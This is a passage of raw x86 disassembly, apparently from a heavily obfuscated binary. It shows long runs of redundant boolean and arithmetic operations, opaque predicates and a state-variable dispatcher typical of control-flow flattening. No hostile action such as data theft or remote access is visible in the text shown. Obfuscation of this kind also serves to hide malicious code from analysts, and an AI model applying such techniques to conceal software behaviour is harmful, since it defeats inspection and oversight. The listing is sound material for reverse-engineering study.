mov al, bl
xor al, 1
and al, 1
mov cl, bl
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
and ch, 1
or cl, ch
mov ch, bl
xor ch, 1
xor cl, 0xff
mov byte [ebp - 0x110], al
mov al, bl
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x110]
and al, ch
mov cl, byte [ebp - 0x110]
xor cl, ch
or al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x111], al
mov al, ch
and al, 1
mov byte [ebp - 0x112], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x113], al
mov al, byte [ebp - 0x112]
or cl, al
mov al, byte [ebp - 0x113]
or al, ch
xor cl, al
mov al, byte [ebp - 0x106]
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, byte [ebp - 0x106]
and al, cl
or ch, al
xor ch, 0xff
mov al, byte [ebp - 0x106]
xor al, 0xff
mov cl, bl
xor cl, 1
or ch, al
or cl, 1
xor ch, 0xff
and ch, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
and bh, cl
or al, bh
mov cl, byte [ebp - 0x111]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x114], al
mov al, byte [ebp - 0x111]
and al, bh
mov byte [ebp - 0x115], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x116], al
mov al, byte [ebp - 0x115]
or cl, al
mov al, byte [ebp - 0x116]
or al, bh
xor cl, al
mov al, bl
xor al, 0
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x117], al
mov al, bh
and al, 0
mov byte [ebp - 0x118], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x119], al
mov al, byte [ebp - 0x117]
mov byte [ebp - 0x11a], cl
mov cl, byte [ebp - 0x118]
or al, cl
mov cl, byte [ebp - 0x119]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x114]
xor cl, 0xff
mov bh, byte [ebp - 0x11a]
xor bh, 0xff
mov byte [ebp - 0x11b], al
mov al, bl
xor al, 1
mov byte [ebp - 0x11c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x11d], al
mov al, byte [ebp - 0x114]
mov byte [ebp - 0x11e], cl
mov cl, byte [ebp - 0x11c]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x11f], al
mov al, byte [ebp - 0x11a]
mov byte [ebp - 0x120], cl
mov cl, byte [ebp - 0x11c]
and al, cl
mov cl, byte [ebp - 0x11d]
mov byte [ebp - 0x121], al
mov al, byte [ebp - 0x11f]
or cl, al
mov al, byte [ebp - 0x120]
mov byte [ebp - 0x122], cl
mov cl, byte [ebp - 0x121]
or al, cl
mov cl, byte [ebp - 0x122]
xor cl, al
mov al, byte [ebp - 0x11e]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x11c]
or bh, 1
and al, bh
or cl, al
mov al, bl
xor al, 0
mov bh, byte [ebp - 0x11b]
xor bh, 0xff
mov byte [ebp - 0x123], al
mov al, bl
xor al, 1
mov byte [ebp - 0x124], al
mov al, byte [ebp - 0x123]
and al, 0xff
mov byte [ebp - 0x125], al
mov al, byte [ebp - 0x124]
and al, 0
mov byte [ebp - 0x126], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x127], al
mov al, byte [ebp - 0x11b]
mov byte [ebp - 0x128], cl
mov cl, byte [ebp - 0x124]
and al, cl
mov cl, byte [ebp - 0x125]
mov byte [ebp - 0x129], al
mov al, byte [ebp - 0x126]
or cl, al
mov al, byte [ebp - 0x127]
mov byte [ebp - 0x12a], cl
mov cl, byte [ebp - 0x129]
or al, cl
mov cl, byte [ebp - 0x12a]
xor cl, al
mov al, byte [ebp - 0x123]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x124]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x128]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x12b], al
mov al, byte [ebp - 0x128]
and al, bh
mov bh, byte [ebp - 0x12b]
or bh, al
xor bh, 0xff
xor cl, 0xff
mov al, bl
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov byte [ebp - 0x12c], al
mov al, ah
and al, cl
mov byte [ebp - 0x12d], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x12e], al
mov al, byte [ebp - 0x12c]
mov byte [ebp - 0x12f], cl
mov cl, byte [ebp - 0x12d]
or al, cl
mov cl, byte [ebp - 0x12e]
mov byte [ebp - 0x130], al
mov al, byte [ebp - 0x12f]
or cl, al
mov al, byte [ebp - 0x130]
xor al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov byte [ebp - 0x131], al
mov al, bl
xor al, 1
mov byte [ebp - 0x132], al
and al, 1
mov byte [ebp - 0x133], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x134], al
mov al, byte [ebp - 0x132]
and al, 1
mov byte [ebp - 0x135], al
mov al, byte [ebp - 0x133]
or cl, al
mov al, byte [ebp - 0x134]
mov byte [ebp - 0x136], cl
mov cl, byte [ebp - 0x135]
or al, cl
mov cl, byte [ebp - 0x136]
xor cl, al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x137], al
mov al, bl
xor al, 0
mov byte [ebp - 0x138], al
and al, 1
mov byte [ebp - 0x139], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x13a], al
mov al, byte [ebp - 0x138]
and al, 1
mov byte [ebp - 0x13b], al
mov al, byte [ebp - 0x137]
mov byte [ebp - 0x13c], cl
mov cl, byte [ebp - 0x139]
or al, cl
mov cl, byte [ebp - 0x13a]
mov byte [ebp - 0x13d], al
mov al, byte [ebp - 0x13b]
or cl, al
mov al, byte [ebp - 0x13d]
xor al, cl
mov cl, byte [ebp - 0x131]
mov byte [ebp - 0x13e], al
mov al, byte [ebp - 0x13c]
and cl, al
mov al, byte [ebp - 0x131]
mov byte [ebp - 0x13f], cl
mov cl, byte [ebp - 0x13c]
xor al, cl
mov cl, byte [ebp - 0x13f]
or cl, al
mov al, byte [ebp - 0x13e]
and al, 1
mov byte [ebp - 0x140], al
mov al, byte [ebp - 0x13e]
xor al, 1
mov byte [ebp - 0x141], al
mov al, byte [ebp - 0x140]
mov byte [ebp - 0x142], cl
mov cl, byte [ebp - 0x141]
or al, cl
mov cl, byte [ebp - 0x142]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x143], al
mov al, bl
xor al, 1
mov byte [ebp - 0x144], al
mov al, byte [ebp - 0x142]
mov byte [ebp - 0x145], cl
mov cl, byte [ebp - 0x144]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x146], al
mov al, byte [ebp - 0x144]
and al, 1
mov byte [ebp - 0x147], al
mov al, byte [ebp - 0x145]
mov byte [ebp - 0x148], cl
mov cl, byte [ebp - 0x146]
or al, cl
mov cl, byte [ebp - 0x148]
mov byte [ebp - 0x149], al
mov al, byte [ebp - 0x147]
or cl, al
mov al, byte [ebp - 0x149]
xor al, cl
xor al, 0xff
mov cl, byte [ebp - 0x143]
xor cl, 0xff
mov byte [ebp - 0x14a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x14b], al
mov al, byte [ebp - 0x14a]
or al, cl
mov cl, byte [ebp - 0x14b]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0xf5]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x14c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x14d], al
mov al, byte [ebp - 0xf5]
mov byte [ebp - 0x14e], cl
mov cl, byte [ebp - 0x14d]
and al, cl
mov cl, byte [ebp - 0x14e]
or cl, al
mov al, byte [ebp - 0x111]
xor al, 0xff
and al, 1
mov byte [ebp - 0x14f], al
mov al, bl
xor al, 1
mov byte [ebp - 0x150], al
mov al, byte [ebp - 0x111]
mov byte [ebp - 0x151], cl
mov cl, byte [ebp - 0x150]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x152], al
mov al, byte [ebp - 0x150]
and al, 1
mov byte [ebp - 0x153], al
mov al, byte [ebp - 0x14f]
mov byte [ebp - 0x154], cl
mov cl, byte [ebp - 0x152]
or al, cl
mov cl, byte [ebp - 0x154]
mov byte [ebp - 0x155], al
mov al, byte [ebp - 0x153]
or cl, al
mov al, byte [ebp - 0x155]
xor al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov byte [ebp - 0x156], al
mov al, bl
xor al, 1
mov byte [ebp - 0x157], al
and al, 1
mov byte [ebp - 0x158], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x159], al
mov al, byte [ebp - 0x157]
and al, 1
mov byte [ebp - 0x15a], al
mov al, byte [ebp - 0x158]
or cl, al
mov al, byte [ebp - 0x159]
mov byte [ebp - 0x15b], cl
mov cl, byte [ebp - 0x15a]
or al, cl
mov cl, byte [ebp - 0x15b]
xor cl, al
mov al, byte [ebp - 0x151]
xor al, 0xff
mov byte [ebp - 0x15c], al
mov al, byte [ebp - 0x156]
xor al, 0xff
mov byte [ebp - 0x15d], al
mov al, bl
xor al, 1
mov byte [ebp - 0x15e], al
mov al, byte [ebp - 0x15c]
and al, 0xff
mov byte [ebp - 0x15f], al
mov al, byte [ebp - 0x151]
mov byte [ebp - 0x160], cl
mov cl, byte [ebp - 0x15e]
and al, cl
mov cl, byte [ebp - 0x15d]
and cl, 0xff
mov byte [ebp - 0x161], al
mov al, byte [ebp - 0x156]
mov byte [ebp - 0x162], cl
mov cl, byte [ebp - 0x15e]
and al, cl
mov cl, byte [ebp - 0x15f]
mov byte [ebp - 0x163], al
mov al, byte [ebp - 0x161]
or cl, al
mov al, byte [ebp - 0x162]
mov byte [ebp - 0x164], cl
mov cl, byte [ebp - 0x163]
or al, cl
mov cl, byte [ebp - 0x164]
xor cl, al
mov al, byte [ebp - 0x15c]
mov byte [ebp - 0x165], cl
mov cl, byte [ebp - 0x15d]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x15e]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x165]
or cl, al
mov al, byte [ebp - 0x160]
and al, 1
mov byte [ebp - 0x166], al
mov al, byte [ebp - 0x160]
xor al, 1
mov byte [ebp - 0x167], al
mov al, byte [ebp - 0x166]
mov byte [ebp - 0x168], cl
mov cl, byte [ebp - 0x167]
or al, cl
mov cl, byte [ebp - 0x168]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x169], al
mov al, bl
xor al, 1
mov byte [ebp - 0x16a], al
mov al, byte [ebp - 0x168]
mov byte [ebp - 0x16b], cl
mov cl, byte [ebp - 0x16a]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x16c], al
mov al, byte [ebp - 0x16a]
and al, 1
mov byte [ebp - 0x16d], al
mov al, byte [ebp - 0x16b]
mov byte [ebp - 0x16e], cl
mov cl, byte [ebp - 0x16c]
or al, cl
mov cl, byte [ebp - 0x16e]
mov byte [ebp - 0x16f], al
mov al, byte [ebp - 0x16d]
or cl, al
mov al, byte [ebp - 0x16f]
xor al, cl
mov cl, byte [ebp - 0x169]
xor cl, 0xff
mov byte [ebp - 0x170], al
xor al, cl
mov cl, byte [ebp - 0x170]
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x171], al
mov al, bl
xor al, 1
mov byte [ebp - 0x172], al
mov al, ch
mov byte [ebp - 0x173], cl
mov cl, byte [ebp - 0x172]
and al, cl
mov cl, byte [ebp - 0x173]
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov byte [ebp - 0x174], al
mov al, bl
xor al, 1
mov byte [ebp - 0x175], al
mov al, bh
mov byte [ebp - 0x176], cl
mov cl, byte [ebp - 0x175]
and al, cl
mov cl, byte [ebp - 0x174]
or cl, al
mov al, bl
xor al, 0
and al, 0
mov byte [ebp - 0x177], al
mov al, bl
xor al, 0
mov byte [ebp - 0x178], al
and al, 0
mov byte [ebp - 0x179], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x17a], al
mov al, byte [ebp - 0x178]
and al, 1
mov byte [ebp - 0x17b], al
mov al, byte [ebp - 0x177]
mov byte [ebp - 0x17c], cl
mov cl, byte [ebp - 0x179]
or al, cl
mov cl, byte [ebp - 0x17a]
mov byte [ebp - 0x17d], al
mov al, byte [ebp - 0x17b]
or cl, al
mov al, byte [ebp - 0x17d]
xor al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x17e], al
mov al, byte [ebp - 0x176]
xor al, cl
mov cl, byte [ebp - 0x176]
and al, cl
mov cl, byte [ebp - 0x17e]
xor cl, 0xff
mov byte [ebp - 0x17f], al
mov al, ch
xor al, cl
and al, ch
mov cl, bl
xor cl, 0
mov ch, byte [ebp - 0x17c]
xor ch, cl
mov cl, byte [ebp - 0x17c]
and ch, cl
mov cl, byte [ebp - 0x17e]
xor cl, 0xff
mov byte [ebp - 0x180], al
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0x17f]
xor cl, 0xff
mov bh, byte [ebp - 0x180]
xor bh, 0xff
mov byte [ebp - 0x181], al
mov al, bl
xor al, 1
mov byte [ebp - 0x182], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x183], al
mov al, byte [ebp - 0x17f]
mov byte [ebp - 0x184], cl
mov cl, byte [ebp - 0x182]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x185], al
mov al, byte [ebp - 0x180]
mov byte [ebp - 0x186], cl
mov cl, byte [ebp - 0x182]
and al, cl
mov cl, byte [ebp - 0x183]
mov byte [ebp - 0x187], al
mov al, byte [ebp - 0x185]
or cl, al
mov al, byte [ebp - 0x186]
mov byte [ebp - 0x188], cl
mov cl, byte [ebp - 0x187]
or al, cl
mov cl, byte [ebp - 0x188]
xor cl, al
mov al, byte [ebp - 0x184]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x182]
or bh, 1
and al, bh
or cl, al
mov al, ch
xor al, 0xff
mov bh, byte [ebp - 0x181]
xor bh, 0xff
mov byte [ebp - 0x189], al
mov al, bl
xor al, 0
mov byte [ebp - 0x18a], al
mov al, byte [ebp - 0x189]
and al, 0
mov byte [ebp - 0x18b], al
mov al, byte [ebp - 0x18a]
and ch, al
mov al, bh
and al, 0
mov byte [ebp - 0x18c], al
mov al, byte [ebp - 0x181]
mov byte [ebp - 0x18d], cl
mov cl, byte [ebp - 0x18a]
and al, cl
mov cl, byte [ebp - 0x18b]
or cl, ch
mov ch, byte [ebp - 0x18c]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x189]
or al, bh
xor al, 0xff
mov ch, byte [ebp - 0x18a]
or ch, 0
and al, ch
or cl, al
mov al, byte [ebp - 0x18d]
xor al, 0xff
and al, 0
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x18d]
and bh, ch
mov byte [ebp - 0x18e], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
mov ch, byte [ebp - 0x18e]
or ch, bh
or al, cl
xor ch, al
mov al, byte [ebp - 0x176]
mov cl, byte [ebp - 0x17c]
and al, cl
mov bh, byte [ebp - 0x176]
xor bh, cl
or al, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, bl
xor cl, 1
and al, cl
or bh, al
mov al, byte [ebp - 0x17e]
and al, 0
mov cl, byte [ebp - 0x17e]
xor cl, 0
or al, cl
xor bh, 0xff
xor al, 0xff
mov cl, bl
xor cl, 0
or bh, al
or cl, 0
xor bh, 0xff
and bh, cl
mov al, ch
and al, bh
xor ch, bh
or al, ch
mov cl, byte [ebp - 0x171]
xor cl, 0xff
mov ch, byte [ebp - 0x14c]
xor ch, cl
mov cl, byte [ebp - 0x14c]
and ch, cl
xor cl, 0xff
mov bh, byte [ebp - 0x171]
and bh, cl
mov cl, byte [ebp - 0x171]
xor cl, 0xff
mov byte [ebp - 0x18f], al
mov al, byte [ebp - 0x14c]
and al, cl
or bh, al
mov al, ch
and al, bh
xor ch, bh
or al, ch
mov cl, byte [ebp - 0x18f]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x18f]
and bh, ch
or cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
and al, bh
mov byte [ebp - 0x190], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x191], al
mov al, byte [ebp - 0x190]
or cl, al
mov al, byte [ebp - 0x191]
or al, bh
xor cl, al
mov al, byte [ebp - 0x18f]
xor al, 0xff
xor cl, 0xff
mov bh, bl
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, ch
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x192], al
mov al, bl
xor al, 0
mov byte [ebp - 0x193], al
mov al, cl
and al, 0
mov byte [ebp - 0x194], al
mov al, byte [ebp - 0x193]
and ch, al
mov al, bh
and al, 0
mov byte [ebp - 0x195], al
mov al, byte [ebp - 0x192]
mov byte [ebp - 0x196], cl
mov cl, byte [ebp - 0x193]
and al, cl
mov cl, byte [ebp - 0x194]
or cl, ch
mov ch, byte [ebp - 0x195]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x196]
or al, bh
xor al, 0xff
mov ch, byte [ebp - 0x193]
or ch, 0
and al, ch
or cl, al
mov al, ah
xor al, 0xff
mov ch, byte [ebp - 0x106]
xor ch, al
mov al, byte [ebp - 0x106]
and ch, al
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
mov al, byte [ebp - 0x106]
and al, ah
or bh, al
mov al, ch
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x197], al
mov al, bl
xor al, 1
mov byte [ebp - 0x198], al
mov al, byte [ebp - 0x197]
and al, 0xff
mov byte [ebp - 0x199], al
mov al, byte [ebp - 0x198]
and ch, al
mov al, ah
and al, 0xff
mov byte [ebp - 0x19a], al
mov al, byte [ebp - 0x198]
and bh, al
mov al, byte [ebp - 0x199]
or al, ch
mov ch, byte [ebp - 0x19a]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x197]
or ch, ah
xor ch, 0xff
mov ah, byte [ebp - 0x198]
or ah, 1
and ch, ah
or al, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, al
and bh, ch
mov byte [ebp - 0x19b], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0x19b]
xor ch, al
mov al, byte [ebp - 0x19b]
and ch, al
mov bh, ah
xor bh, 0xff
mov al, ch
xor al, 0xff
mov byte [ebp - 0x19c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x19d], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x19e], al
mov al, byte [ebp - 0x19d]
and ah, al
mov al, byte [ebp - 0x19c]
and al, 0xff
mov byte [ebp - 0x19f], al
mov al, byte [ebp - 0x19d]
and ch, al
mov al, byte [ebp - 0x19e]
or al, ah
mov ah, byte [ebp - 0x19f]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x19c]
or bh, ah
xor bh, 0xff
mov ch, byte [ebp - 0x19d]
or ch, 1
and bh, ch
or al, bh
mov ch, byte [ebp - 0x111]
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bh, bl
xor bh, 1
and bh, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x1a0], al
mov al, ah
and al, 1
mov byte [ebp - 0x1a1], al
mov al, byte [ebp - 0x111]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1a2], al
mov al, byte [ebp - 0x111]
and al, ah
mov ah, byte [ebp - 0x1a1]
or bh, ah
mov ah, byte [ebp - 0x1a2]
or ah, al
xor bh, ah
mov al, ch
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x1a3], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1a4], al
mov al, byte [ebp - 0x1a3]
and al, 0xff
mov byte [ebp - 0x1a5], al
mov al, byte [ebp - 0x1a4]
and ch, al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1a6], al
mov al, byte [ebp - 0x1a4]
and bh, al
mov al, byte [ebp - 0x1a5]
or al, ch
mov ch, byte [ebp - 0x1a6]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x1a3]
or ch, ah
xor ch, 0xff
mov ah, byte [ebp - 0x1a4]
or ah, 1
and ch, ah
or al, ch
mov ah, byte [ebp - 0x1a0]
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x1a0]
and bh, ch
or ah, bh
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
and al, bh
or ch, al
mov al, bl
xor al, 0
and al, 1
mov bh, bl
xor bh, 1
and bh, 0
or al, bh
mov bh, ah
and bh, ch
xor ah, ch
or bh, ah
mov ah, bl
xor ah, 0
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1a7], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1a8], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1a9], al
mov al, byte [ebp - 0x1a8]
and al, 0
mov byte [ebp - 0x1aa], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x1ab], al
mov al, byte [ebp - 0x1a7]
mov byte [ebp - 0x1ac], cl
mov cl, byte [ebp - 0x1a8]
and al, cl
mov cl, byte [ebp - 0x1a9]
mov byte [ebp - 0x1ad], al
mov al, byte [ebp - 0x1aa]
or cl, al
mov al, byte [ebp - 0x1ab]
mov byte [ebp - 0x1ae], cl
mov cl, byte [ebp - 0x1ad]
or al, cl
mov cl, byte [ebp - 0x1ae]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0x1a8]
or al, 1
and ah, al
or cl, ah
mov al, bh
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
and bh, ah
mov ch, bl
xor ch, 1
and ch, 0
and ah, 1
or al, bh
or ch, ah
xor al, ch
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, byte [ebp - 0x1ac]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0x1ac]
and ch, cl
or al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, ah
and bh, ch
mov byte [ebp - 0x1af], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x1af]
xor bh, ch
mov ch, byte [ebp - 0x1af]
and bh, ch
mov ch, byte [ebp - 0x1ac]
xor ch, 0xff
mov byte [ebp - 0x1b0], al
xor al, 0xff
mov byte [ebp - 0x1b1], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1b2], al
mov al, byte [ebp - 0x1b1]
or ch, al
mov al, byte [ebp - 0x1b2]
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 0
mov byte [ebp - 0x1b3], al
mov al, cl
mov byte [ebp - 0x1b4], cl
mov cl, byte [ebp - 0x1b3]
xor al, cl
mov cl, byte [ebp - 0x1b4]
and al, cl
mov cl, byte [ebp - 0x1b0]
xor cl, 0xff
mov byte [ebp - 0x1b5], al
mov al, ah
xor al, cl
and al, ah
mov cl, bh
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov byte [ebp - 0x1b6], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1b7], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1b8], al
mov al, byte [ebp - 0x1b7]
and bh, al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1b9], al
mov al, byte [ebp - 0x1b7]
and ch, al
mov al, byte [ebp - 0x1b8]
or al, bh
mov bh, byte [ebp - 0x1b9]
or bh, ch
xor al, bh
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x1b7]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x1b5]
xor cl, 0xff
mov ah, byte [ebp - 0x1b6]
xor ah, 0xff
mov ch, bl
xor ch, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x1ba], al
mov al, byte [ebp - 0x1b5]
and al, ch
mov byte [ebp - 0x1bb], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1bc], al
mov al, byte [ebp - 0x1b6]
and al, ch
mov byte [ebp - 0x1bd], al
mov al, byte [ebp - 0x1bb]
or bh, al
mov al, byte [ebp - 0x1bc]
mov byte [ebp - 0x1be], cl
mov cl, byte [ebp - 0x1bd]
or al, cl
xor bh, al
mov al, byte [ebp - 0x1be]
or al, ah
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, byte [ebp - 0x1ba]
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x1ba]
and ah, cl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, cl
or al, ah
or ch, bh
xor al, ch
mov cl, byte [ebp - 0x1af]
mov ah, byte [ebp - 0x1b4]
and cl, ah
mov ch, byte [ebp - 0x1af]
xor ch, ah
or cl, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
and cl, bh
or ch, cl
mov cl, byte [ebp - 0x1b0]
and cl, 0
mov bh, byte [ebp - 0x1b0]
xor bh, 0
or cl, bh
xor ch, 0xff
xor cl, 0xff
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, al
and cl, ch
xor al, ch
or cl, al
test cl, 1
mov esi, dword [ebp - 0xe4]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov eax, 0x3cc2e1ad
mov ecx, 0x260afab2
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x47044a
mov eax, 0xcedefb4
mov ecx, 0xa8b9ddb7
mov dl, 1
xor esi, esi
mov edi, dword [0x4a4094]
mov ebx, dword [0x4a4098]
mov dword [ebp - 0x1c4], eax
mov eax, esi
sub eax, 0x45a8d359
mov dword [ebp - 0x1c8], eax
mov eax, esi
mov dword [ebp - 0x1cc], ecx
mov ecx, dword [ebp - 0x1c8]
sub eax, ecx
add eax, 0x2daaa6ea
sub eax, 1
sub eax, 0x2daaa6ea
sub eax, 0xc8f9d371
sub eax, 0x45a8d359
add eax, 0xc8f9d371
mov ecx, esi
sub ecx, 0xa54bb92f
mov dword [ebp - 0x1d0], eax
mov eax, edi
add eax, ecx
sub eax, 0xb4b13c50
mov ecx, dword [ebp - 0x1d0]
add eax, ecx
add eax, 0xb4b13c50
sub esi, 0xa54bb92f
sub eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1d1], al
mov al, bh
and al, 1
mov byte [ebp - 0x1d2], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x1d3], al
mov al, byte [ebp - 0x1d2]
or ch, al
mov al, byte [ebp - 0x1d3]
or al, bh
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 0
or ch, al
or bh, 0
xor ch, 0xff
and ch, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, ch
and ah, cl
xor ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
and al, ah
or ch, al
mov al, byte [ebp - 0x1d1]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x1d1]
and ah, cl
or al, ah
mov cl, dl
xor cl, 0
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
mov bl, ah
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or al, bl
or bh, ah
xor al, bh
mov ah, al
xor ah, 0xff
mov bl, byte [ebp - 0x1d1]
xor bl, ah
mov ah, byte [ebp - 0x1d1]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 1
mov ah, dl
xor ah, 1
and ah, 1
or bh, ah
mov ah, dl
xor ah, 0
mov byte [ebp - 0x1d4], al
mov al, bh
xor al, ah
and al, bh
mov ah, byte [ebp - 0x1d4]
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bh, cl
